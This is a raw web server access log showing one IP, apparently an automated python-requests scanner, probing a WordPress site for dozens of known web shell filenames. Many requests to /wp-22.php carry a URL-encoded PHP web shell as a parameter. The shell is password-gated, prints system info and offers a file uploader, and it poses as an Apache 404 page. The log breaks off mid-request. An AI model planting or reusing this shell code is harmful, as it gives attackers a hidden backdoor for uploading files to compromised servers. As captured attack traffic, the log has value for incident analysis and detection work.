"GET /wp-includes/css/xm.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:19 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:20 +0530] "GET /RxR.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:21 +0530] "GET /wp-includes/customize/class-wp-customize-nav-menu.php?new HTTP/1.1" 302 277 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:26 +0530] "GET /wp-beckup.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:26 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:26 +0530] "GET /wp-includes/css/1.phtml HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:26 +0530] "GET /swm.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:28 +0530] "GET /bb.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:28 +0530] "GET /wso2.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:28 +0530] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:28 +0530] "GET /wp/rahma.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:28 +0530] "GET /wp-admin/includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:29 +0530] "GET /images/c99.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:30 +0530] "GET /wp-includes/pomo/wp-cli.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:30 +0530] "GET /sendmail.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:30 +0530] "GET /mari.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:31 +0530] "GET /wp-content/x.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:31 +0530] "GET /wp-admin/includes/edit-tag-menu.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:31 +0530] "GET /wp-content/themes/wolf-shell.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:36 +0530] "GET /date.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:36 +0530] "GET /c.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:36 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:37 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:37 +0530] "GET /wp-admin/radio.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:37 +0530] "GET /V3.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:39 +0530] "GET /qindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:40 +0530] "GET /priv8.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:40 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:41 +0530] "GET /wp-load.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:42 +0530] "GET /asasx.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:42 +0530] "GET /wp-admin/includes/block-line.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:45 +0530] "GET /wp-includes/wp-atom.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:46 +0530] "GET /sym403.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:46 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:47 +0530] "GET /9.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5